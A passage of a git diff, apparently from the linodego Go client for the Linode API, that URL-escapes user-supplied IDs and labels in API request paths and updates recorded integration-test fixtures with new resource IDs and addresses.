diff --git a/account_oauth_client.go b/account_oauth_client.go index 1a43b6083..dba898d29 100644 --- a/account_oauth_client.go +++ b/account_oauth_client.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" "github.com/go-resty/resty/v2" ) @@ -119,6 +120,7 @@ func (c *Client) ListOAuthClients(ctx context.Context, opts *ListOptions) ([]OAu // GetOAuthClient gets the OAuthClient with the provided ID func (c *Client) GetOAuthClient(ctx context.Context, clientID string) (*OAuthClient, error) { req := c.R(ctx).SetResult(&OAuthClient{}) + clientID = url.PathEscape(clientID) e := fmt.Sprintf("account/oauth-clients/%s", clientID) r, err := coupleAPIErrors(req.Get(e)) if err != nil { @@ -153,6 +155,9 @@ func (c *Client) UpdateOAuthClient(ctx context.Context, clientID string, opts OA } req := c.R(ctx).SetResult(&OAuthClient{}).SetBody(string(body)) + + clientID = url.PathEscape(clientID) + e := fmt.Sprintf("account/oauth-clients/%s", clientID) r, err := coupleAPIErrors(req.Put(e)) if err != nil { @@ -164,6 +169,7 @@ func (c *Client) UpdateOAuthClient(ctx context.Context, clientID string, opts OA // DeleteOAuthClient deletes the OAuthClient with the specified id func (c *Client) DeleteOAuthClient(ctx context.Context, clientID string) error { + clientID = url.PathEscape(clientID) e := fmt.Sprintf("account/oauth-clients/%s", clientID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err diff --git a/account_user_grants.go b/account_user_grants.go index 33b8c15ea..221fb5f7b 100644 --- a/account_user_grants.go +++ b/account_user_grants.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" ) type GrantPermissionLevel string @@ -68,6 +69,7 @@ type UserGrantsUpdateOptions struct { } func (c *Client) GetUserGrants(ctx context.Context, username string) (*UserGrants, error) { + username = url.PathEscape(username) e := fmt.Sprintf("account/users/%s/grants", username) req := c.R(ctx).SetResult(&UserGrants{}) r, err := coupleAPIErrors(req.Get(e)) @@ -84,6 +86,7 @@ func (c *Client) UpdateUserGrants(ctx context.Context, username string, opts Use return nil, err } + username = url.PathEscape(username) e := fmt.Sprintf("account/users/%s/grants", username) req := c.R(ctx).SetResult(&UserGrants{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) diff --git a/account_users.go b/account_users.go index 498ecd766..d9633d881 100644 --- a/account_users.go +++ b/account_users.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" "time" "github.com/go-resty/resty/v2" @@ -105,6 +106,7 @@ func (c *Client) ListUsers(ctx context.Context, opts *ListOptions) ([]User, erro // GetUser gets the user with the provided ID func (c *Client) GetUser(ctx context.Context, userID string) (*User, error) { + userID = url.PathEscape(userID) e := fmt.Sprintf("account/users/%s", userID) req := c.R(ctx).SetResult(&User{}) r, err := coupleAPIErrors(req.Get(e)) @@ -140,6 +142,7 @@ func (c *Client) UpdateUser(ctx context.Context, userID string, opts UserUpdateO return nil, err } + userID = url.PathEscape(userID) e := fmt.Sprintf("account/users/%s", userID) req := c.R(ctx).SetResult(&User{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) @@ -152,6 +155,7 @@ func (c *Client) UpdateUser(ctx context.Context, userID string, opts UserUpdateO // DeleteUser deletes the User with the specified id func (c *Client) DeleteUser(ctx context.Context, userID string) error { + userID = url.PathEscape(userID) e := fmt.Sprintf("account/users/%s", userID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err diff --git a/client.go b/client.go index a54531713..5262c8485 100644 --- a/client.go +++ b/client.go @@ -166,7 +166,14 @@ func (c *Client) updateHostURL() { apiProto = c.apiProto } - c.resty.SetHostURL(fmt.Sprintf("%s://%s/%s", apiProto, baseURL, apiVersion)) + c.resty.SetHostURL( + fmt.Sprintf( + "%s://%s/%s", + apiProto, + baseURL, + url.PathEscape(apiVersion), + ), + ) } // SetRootCertificate adds a root certificate to the underlying TLS client config diff --git a/databases.go b/databases.go index 8fbb69ffb..5a21aae7d 100644 --- a/databases.go +++ b/databases.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" "time" "github.com/go-resty/resty/v2" @@ -236,6 +237,7 @@ func (c *Client) ListDatabaseEngines(ctx context.Context, opts *ListOptions) ([] // GetDatabaseEngine returns a specific Database Engine. This endpoint is cached by default. func (c *Client) GetDatabaseEngine(ctx context.Context, _ *ListOptions, engineID string) (*DatabaseEngine, error) { + engineID = url.PathEscape(engineID) e := fmt.Sprintf("databases/engines/%s", engineID) if result := c.getCachedResponse(e); result != nil { @@ -279,6 +281,7 @@ func (c *Client) ListDatabaseTypes(ctx context.Context, opts *ListOptions) ([]Da // GetDatabaseType returns a specific Database Type. This endpoint is cached by default. func (c *Client) GetDatabaseType(ctx context.Context, _ *ListOptions, typeID string) (*DatabaseType, error) { + typeID = url.PathEscape(typeID) e := fmt.Sprintf("databases/types/%s", typeID) if result := c.getCachedResponse(e); result != nil { diff --git a/images.go b/images.go index 46efc59db..5a0d79984 100644 --- a/images.go +++ b/images.go @@ -5,6 +5,7 @@ import ( "encoding/json" "fmt" "io" + "net/url" "time" "github.com/go-resty/resty/v2" @@ -132,6 +133,8 @@ func (c *Client) ListImages(ctx context.Context, opts *ListOptions) ([]Image, er // GetImage gets the Image with the provided ID func (c *Client) GetImage(ctx context.Context, imageID string) (*Image, error) { + imageID = url.PathEscape(imageID) + e := fmt.Sprintf("images/%s", imageID) req := c.R(ctx).SetResult(&Image{}) r, err := coupleAPIErrors(req.Get(e)) @@ -164,6 +167,8 @@ func (c *Client) UpdateImage(ctx context.Context, imageID string, opts ImageUpda return nil, err } + imageID = url.PathEscape(imageID) + e := fmt.Sprintf("images/%s", imageID) req := c.R(ctx).SetResult(&Image{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) @@ -175,6 +180,7 @@ func (c *Client) UpdateImage(ctx context.Context, imageID string, opts ImageUpda // DeleteImage deletes the Image with the specified id func (c *Client) DeleteImage(ctx context.Context, imageID string) error { + imageID = url.PathEscape(imageID) e := fmt.Sprintf("images/%s", imageID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err diff --git a/instance_ips.go b/instance_ips.go index 3e03310d5..376142a99 100644 --- a/instance_ips.go +++ b/instance_ips.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" ) // InstanceIPAddressResponse contains the IPv4 and IPv6 details for an Instance @@ -77,6 +78,7 @@ func (c *Client) GetInstanceIPAddresses(ctx context.Context, linodeID int) (*Ins // GetInstanceIPAddress gets the IPAddress for a Linode instance matching a supplied IP address func (c *Client) GetInstanceIPAddress(ctx context.Context, linodeID int, ipaddress string) (*InstanceIP, error) { + ipaddress = url.PathEscape(ipaddress) e := fmt.Sprintf("linode/instances/%d/ips/%s", linodeID, ipaddress) req := c.R(ctx).SetResult(&InstanceIP{}) r, err := coupleAPIErrors(req.Get(e)) @@ -116,6 +118,8 @@ func (c *Client) UpdateInstanceIPAddress(ctx context.Context, linodeID int, ipAd return nil, err } + ipAddress = url.PathEscape(ipAddress) + e := fmt.Sprintf("linode/instances/%d/ips/%s", linodeID, ipAddress) req := c.R(ctx).SetResult(&InstanceIP{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) @@ -126,6 +130,7 @@ func (c *Client) UpdateInstanceIPAddress(ctx context.Context, linodeID int, ipAd } func (c *Client) DeleteInstanceIPAddress(ctx context.Context, linodeID int, ipAddress string) error { + ipAddress = url.PathEscape(ipAddress) e := fmt.Sprintf("linode/instances/%d/ips/%s", linodeID, ipAddress) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err diff --git a/instances.go b/instances.go index 7d6c7566e..859ff2717 100644 --- a/instances.go +++ b/instances.go @@ -5,6 +5,7 @@ import ( "encoding/json" "fmt" "net" + "net/url" "time" "github.com/go-resty/resty/v2" @@ -409,6 +410,7 @@ func (c *Client) MigrateInstance(ctx context.Context, id int) error { // simpleInstanceAction is a helper for Instance actions that take no parameters // and return empty responses `{}` unless they return a standard error func (c *Client) simpleInstanceAction(ctx context.Context, action string, linodeID int) error { + action = url.PathEscape(action) e := fmt.Sprintf("linode/instances/%d/%s", linodeID, action) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err diff --git a/kernels.go b/kernels.go index 06c2fc600..0c4246f5f 100644 --- a/kernels.go +++ b/kernels.go @@ -3,6 +3,7 @@ package linodego import ( "context" "fmt" + "net/url" "github.com/go-resty/resty/v2" ) @@ -64,6 +65,7 @@ func (c *Client) ListKernels(ctx context.Context, opts *ListOptions) ([]LinodeKe // GetKernel gets the kernel with the provided ID. This endpoint is cached by default. func (c *Client) GetKernel(ctx context.Context, kernelID string) (*LinodeKernel, error) { + kernelID = url.PathEscape(kernelID) e := fmt.Sprintf("linode/kernels/%s", kernelID) if result := c.getCachedResponse(e); result != nil { diff --git a/lke_clusters.go b/lke_clusters.go index f764c7c15..ff9b67659 100644 --- a/lke_clusters.go +++ b/lke_clusters.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" "time" "github.com/go-resty/resty/v2" @@ -169,6 +170,7 @@ func (c *Client) ListLKEVersions(ctx context.Context, opts *ListOptions) ([]LKEV // GetLKEVersion gets details about a specific LKE Version. This endpoint is cached by default. func (c *Client) GetLKEVersion(ctx context.Context, version string) (*LKEVersion, error) { + version = url.PathEscape(version) e := fmt.Sprintf("lke/versions/%s", version) if result := c.getCachedResponse(e); result != nil { diff --git a/lke_node_pools.go b/lke_node_pools.go index 42097f13d..b7e5bc0bb 100644 --- a/lke_node_pools.go +++ b/lke_node_pools.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" "github.com/go-resty/resty/v2" ) @@ -170,6 +171,7 @@ func (c *Client) DeleteLKENodePool(ctx context.Context, clusterID, poolID int) e // DeleteLKENodePoolNode deletes a given node from a node pool func (c *Client) DeleteLKENodePoolNode(ctx context.Context, clusterID int, nodeID string) error { + nodeID = url.PathEscape(nodeID) e := fmt.Sprintf("lke/clusters/%d/nodes/%s", clusterID, nodeID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err diff --git a/longview_subscriptions.go b/longview_subscriptions.go index 8b5c4e126..efb3ee126 100644 --- a/longview_subscriptions.go +++ b/longview_subscriptions.go @@ -3,6 +3,7 @@ package linodego import ( "context" "fmt" + "net/url" "github.com/go-resty/resty/v2" ) @@ -50,6 +51,7 @@ func (c *Client) ListLongviewSubscriptions(ctx context.Context, opts *ListOption // GetLongviewSubscription gets the template with the provided ID func (c *Client) GetLongviewSubscription(ctx context.Context, templateID string) (*LongviewSubscription, error) { + templateID = url.PathEscape(templateID) e := fmt.Sprintf("longview/subscriptions/%s", templateID) req := c.R(ctx).SetResult(&LongviewSubscription{}) r, err := coupleAPIErrors(req.Get(e)) diff --git a/network_ips.go b/network_ips.go index 0a704f1c7..5b86883e9 100644 --- a/network_ips.go +++ b/network_ips.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" "github.com/go-resty/resty/v2" ) @@ -78,6 +79,7 @@ func (c *Client) ListIPAddresses(ctx context.Context, opts *ListOptions) ([]Inst // GetIPAddress gets the template with the provided ID func (c *Client) GetIPAddress(ctx context.Context, id string) (*InstanceIP, error) { + id = url.PathEscape(id) e := fmt.Sprintf("networking/ips/%s", id) req := c.R(ctx).SetResult(&InstanceIP{}) r, err := coupleAPIErrors(req.Get(e)) @@ -94,6 +96,7 @@ func (c *Client) UpdateIPAddress(ctx context.Context, id string, opts IPAddressU return nil, err } + id = url.PathEscape(id) e := fmt.Sprintf("networking/ips/%s", id) req := c.R(ctx).SetResult(&InstanceIP{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) diff --git a/network_pools.go b/network_pools.go index 06c13c4bd..36f8b8f99 100644 --- a/network_pools.go +++ b/network_pools.go @@ -3,6 +3,7 @@ package linodego import ( "context" "fmt" + "net/url" "github.com/go-resty/resty/v2" ) @@ -40,6 +41,7 @@ func (c *Client) ListIPv6Pools(ctx context.Context, opts *ListOptions) ([]IPv6Ra // GetIPv6Pool gets the template with the provided ID func (c *Client) GetIPv6Pool(ctx context.Context, id string) (*IPv6Range, error) { + id = url.PathEscape(id) e := fmt.Sprintf("networking/ipv6/pools/%s", id) req := c.R(ctx).SetResult(&IPv6Range{}) r, err := coupleAPIErrors(req.Get(e)) diff --git a/network_ranges.go b/network_ranges.go index 3caa714c7..6a0122372 100644 --- a/network_ranges.go +++ b/network_ranges.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" "github.com/go-resty/resty/v2" ) @@ -48,6 +49,7 @@ func (c *Client) ListIPv6Ranges(ctx context.Context, opts *ListOptions) ([]IPv6R // GetIPv6Range gets details about an IPv6 range func (c *Client) GetIPv6Range(ctx context.Context, ipRange string) (*IPv6Range, error) { + ipRange = url.PathEscape(ipRange) e := fmt.Sprintf("networking/ipv6/ranges/%s", ipRange) req := c.R(ctx).SetResult(&IPv6Range{}) r, err := coupleAPIErrors(req.Get(e)) @@ -75,6 +77,7 @@ func (c *Client) CreateIPv6Range(ctx context.Context, opts IPv6RangeCreateOption // DeleteIPv6Range deletes an IPv6 Range. func (c *Client) DeleteIPv6Range(ctx context.Context, ipRange string) error { + ipRange = url.PathEscape(ipRange) e := fmt.Sprintf("networking/ipv6/ranges/%s", ipRange) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err diff --git a/object_storage_bucket_certs.go b/object_storage_bucket_certs.go index e8cca26f5..904f2dcda 100644 --- a/object_storage_bucket_certs.go +++ b/object_storage_bucket_certs.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "net/url" ) type ObjectStorageBucketCert struct { @@ -22,6 +23,8 @@ func (c *Client) UploadObjectStorageBucketCert(ctx context.Context, clusterID, b return nil, err } + clusterID = url.PathEscape(clusterID) + bucket = url.PathEscape(bucket) e := fmt.Sprintf("object-storage/buckets/%s/%s/ssl", clusterID, bucket) req := c.R(ctx).SetResult(&ObjectStorageBucketCert{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) @@ -33,6 +36,8 @@ func (c *Client) UploadObjectStorageBucketCert(ctx context.Context, clusterID, b // GetObjectStorageBucketCert gets an ObjectStorageBucketCert func (c *Client) GetObjectStorageBucketCert(ctx context.Context, clusterID, bucket string) (*ObjectStorageBucketCert, error) { + clusterID = url.PathEscape(clusterID) + bucket = url.PathEscape(bucket) e := fmt.Sprintf("object-storage/buckets/%s/%s/ssl", clusterID, bucket) req := c.R(ctx).SetResult(&ObjectStorageBucketCert{}) r, err := coupleAPIErrors(req.Get(e)) @@ -44,6 +49,8 @@ func (c *Client) GetObjectStorageBucketCert(ctx context.Context, clusterID, buck // DeleteObjectStorageBucketCert deletes an ObjectStorageBucketCert func (c *Client) DeleteObjectStorageBucketCert(ctx context.Context, clusterID, bucket string) error { + clusterID = url.PathEscape(clusterID) + bucket = url.PathEscape(bucket) e := fmt.Sprintf("object-storage/buckets/%s/%s/ssl", clusterID, bucket) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err diff --git a/object_storage_buckets.go b/object_storage_buckets.go index 9567eac66..060ec985d 100644 --- a/object_storage_buckets.go +++ b/object_storage_buckets.go @@ -84,7 +84,7 @@ type ObjectStorageBucketsPagedResponse struct { func (ObjectStorageBucketsPagedResponse) endpoint(args ...any) string { endpoint := "object-storage/buckets" if len(args) > 0 { - endpoint = fmt.Sprintf(endpoint+"/%s", args[0]) + endpoint = fmt.Sprintf(endpoint+"/%s", url.PathEscape(args[0].(string))) } return endpoint } @@ -122,6 +122,7 @@ func (c *Client) ListObjectStorageBucketsInCluster(ctx context.Context, opts *Li // GetObjectStorageBucket gets the ObjectStorageBucket with the provided label func (c *Client) GetObjectStorageBucket(ctx context.Context, clusterID, label string) (*ObjectStorageBucket, error) { label = url.PathEscape(label) + clusterID = url.PathEscape(clusterID) e := fmt.Sprintf("object-storage/buckets/%s/%s", clusterID, label) req := c.R(ctx).SetResult(&ObjectStorageBucket{}) r, err := coupleAPIErrors(req.Get(e)) @@ -150,6 +151,7 @@ func (c *Client) CreateObjectStorageBucket(ctx context.Context, opts ObjectStora // GetObjectStorageBucketAccess gets the current access config for a bucket func (c *Client) GetObjectStorageBucketAccess(ctx context.Context, clusterID, label string) (*ObjectStorageBucketAccess, error) { label = url.PathEscape(label) + clusterID = url.PathEscape(clusterID) e := fmt.Sprintf("object-storage/buckets/%s/%s/access", clusterID, label) req := c.R(ctx).SetResult(&ObjectStorageBucketAccess{}) r, err := coupleAPIErrors(req.Get(e)) @@ -168,6 +170,7 @@ func (c *Client) UpdateObjectStorageBucketAccess(ctx context.Context, clusterID, } label = url.PathEscape(label) + clusterID = url.PathEscape(clusterID) e := fmt.Sprintf("object-storage/buckets/%s/%s/access", clusterID, label) _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) if err != nil { diff --git a/object_storage_clusters.go b/object_storage_clusters.go index c5fbeb587..4e4e3e267 100644 --- a/object_storage_clusters.go +++ b/object_storage_clusters.go @@ -3,6 +3,7 @@ package linodego import ( "context" "fmt" + "net/url" "github.com/go-resty/resty/v2" ) @@ -49,6 +50,7 @@ func (c *Client) ListObjectStorageClusters(ctx context.Context, opts *ListOption // GetObjectStorageCluster gets the template with the provided ID func (c *Client) GetObjectStorageCluster(ctx context.Context, clusterID string) (*ObjectStorageCluster, error) { + clusterID = url.PathEscape(clusterID) e := fmt.Sprintf("object-storage/clusters/%s", clusterID) req := c.R(ctx).SetResult(&ObjectStorageCluster{}) r, err := coupleAPIErrors(req.Get(e)) diff --git a/object_storage_object.go b/object_storage_object.go index f18f03688..4d262f40e 100644 --- a/object_storage_object.go +++ b/object_storage_object.go @@ -37,6 +37,7 @@ func (c *Client) CreateObjectStorageObjectURL(ctx context.Context, objectID, lab } label = url.PathEscape(label) + objectID = url.PathEscape(objectID) e := fmt.Sprintf("object-storage/buckets/%s/%s/object-url", objectID, label) req := c.R(ctx).SetResult(&ObjectStorageObjectURL{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) @@ -45,6 +46,7 @@ func (c *Client) CreateObjectStorageObjectURL(ctx context.Context, objectID, lab func (c *Client) GetObjectStorageObjectACLConfig(ctx context.Context, objectID, label, object string) (*ObjectStorageObjectACLConfig, error) { label = url.PathEscape(label) + object = url.QueryEscape(object) e := fmt.Sprintf("object-storage/buckets/%s/%s/object-acl?name=%s", objectID, label, object) req := c.R(ctx).SetResult(&ObjectStorageObjectACLConfig{}) r, err := coupleAPIErrors(req.Get(e)) diff --git a/regions.go b/regions.go index 24970dd4f..f4210383e 100644 --- a/regions.go +++ b/regions.go @@ -3,6 +3,7 @@ package linodego import ( "context" "fmt" + "net/url" "time" "github.com/go-resty/resty/v2" @@ -74,7 +75,7 @@ func (c *Client) ListRegions(ctx context.Context, opts *ListOptions) ([]Region, // GetRegion gets the template with the provided ID. This endpoint is cached by default. func (c *Client) GetRegion(ctx context.Context, regionID string) (*Region, error) { - e := fmt.Sprintf("regions/%s", regionID) + e := fmt.Sprintf("regions/%s", url.PathEscape(regionID)) if result := c.getCachedResponse(e); result != nil { result := result.(Region) diff --git a/tags.go b/tags.go index 396708e2f..f22208ec4 100644 --- a/tags.go +++ b/tags.go @@ -83,7 +83,7 @@ type TaggedObjectsPagedResponse struct { // endpoint gets the endpoint URL for Tag func (TaggedObjectsPagedResponse) endpoint(ids ...any) string { - id := ids[0].(string) + id := url.PathEscape(ids[0].(string)) return fmt.Sprintf("tags/%s", id) } diff --git a/test/integration/example_nodebalancers_test.go b/test/integration/example_nodebalancers_test.go index 73210fa8c..02b755441 100644 --- a/test/integration/example_nodebalancers_test.go +++ b/test/integration/example_nodebalancers_test.go @@ -154,7 +154,7 @@ func ExampleClient_CreateNodeBalancerNode() { booted := false instanceOpts := linodego.InstanceCreateOptions{ Label: "nodebalancer-example-instance", - RootPass: "R34lBAdP455", + RootPass: "R34lBAdP455!!!", Region: "us-southeast", Type: "g6-nanode-1", Image: "linode/debian9", diff --git a/test/integration/fixtures/ExampleCreateNodeBalancer.yaml b/test/integration/fixtures/ExampleCreateNodeBalancer.yaml index 948c73dc4..346fd4b31 100644 --- a/test/integration/fixtures/ExampleCreateNodeBalancer.yaml +++ b/test/integration/fixtures/ExampleCreateNodeBalancer.yaml @@ -14,8 +14,8 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 259599, "label": "balancer259599", "region": "us-southeast", "hostname": - "139-144-164-54.ip.linodeusercontent.com", "ipv4": "139.144.164.54", "ipv6": + body: '{"id": 357846, "label": "balancer357846", "region": "us-southeast", "hostname": + "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' @@ -70,11 +70,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259599 + url: https://api.linode.com/v4beta/nodebalancers/357846 method: GET response: - body: '{"id": 259599, "label": "balancer259599", "region": "us-southeast", "hostname": - "139-144-164-54.ip.linodeusercontent.com", "ipv4": "139.144.164.54", "ipv6": + body: '{"id": 357846, "label": "balancer357846", "region": "us-southeast", "hostname": + "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' @@ -122,7 +122,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"balancer259599_renamed","client_conn_throttle":20,"tags":[]}' + body: '{"label":"balancer357846_renamed","client_conn_throttle":20,"tags":[]}' form: {} headers: Accept: @@ -131,11 +131,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259599 + url: https://api.linode.com/v4beta/nodebalancers/357846 method: PUT response: - body: '{"id": 259599, "label": "balancer259599_renamed", "region": "us-southeast", - "hostname": "139-144-164-54.ip.linodeusercontent.com", "ipv4": "139.144.164.54", + body: '{"id": 357846, "label": "balancer357846_renamed", "region": "us-southeast", + "hostname": "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' @@ -190,7 +190,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259599 + url: https://api.linode.com/v4beta/nodebalancers/357846 method: DELETE response: body: '{}' diff --git a/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml b/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml index 9aee33b1d..9336754d8 100644 --- a/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml +++ b/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml @@ -14,8 +14,8 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 259600, "label": "balancer259600", "region": "us-southeast", "hostname": - "66-228-63-53.ip.linodeusercontent.com", "ipv4": "66.228.63.53", "ipv6": "1234::5678", + body: '{"id": 357847, "label": "balancer357847", "region": "us-southeast", "hostname": + "45-79-245-144.ip.linodeusercontent.com", "ipv4": "45.79.245.144", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: @@ -32,7 +32,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "340" + - "342" Content-Security-Policy: - default-src 'none' Content-Type: @@ -69,14 +69,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259600/configs + url: https://api.linode.com/v4beta/nodebalancers/357847/configs method: POST response: - body: '{"id": 387286, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 550599, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 259600, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -129,14 +129,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259600/configs/387286 + url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599 method: PUT response: - body: '{"id": 387286, "port": 8080, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 259600, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -189,14 +189,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259600/configs + url: https://api.linode.com/v4beta/nodebalancers/357847/configs method: GET response: - body: '{"data": [{"id": 387286, "port": 8080, "protocol": "http", "algorithm": + body: '{"data": [{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 259600, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: @@ -252,14 +252,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259600/configs/387286 + url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599 method: GET response: - body: '{"id": 387286, "port": 8080, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 259600, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -314,7 +314,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259600/configs/387286 + url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599 method: DELETE response: body: '{}' @@ -369,7 +369,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259600 + url: https://api.linode.com/v4beta/nodebalancers/357847 method: DELETE response: body: '{}' diff --git a/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml b/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml index 0b2c8113a..e869b4555 100644 --- a/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml +++ b/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml @@ -14,11 +14,10 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 259601, "label": "balancer259601", "region": "us-southeast", "hostname": - "139-144-164-56.ip.linodeusercontent.com", "ipv4": "139.144.164.56", "ipv6": - "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, - "total": null}}' + body: '{"id": 357848, "label": "balancer357848", "region": "us-southeast", "hostname": + "66-228-63-200.ip.linodeusercontent.com", "ipv4": "66.228.63.200", "ipv6": "1234::5678", + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": + 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -33,7 +32,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "344" + - "342" Content-Security-Policy: - default-src 'none' Content-Type: @@ -70,14 +69,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/259601/configs + url: https://api.linode.com/v4beta/nodebalancers/357848/configs method: POST response: - body: '{"id": 387287, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 550600, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 31, "check_timeout": 30, "check_attempts": 3, 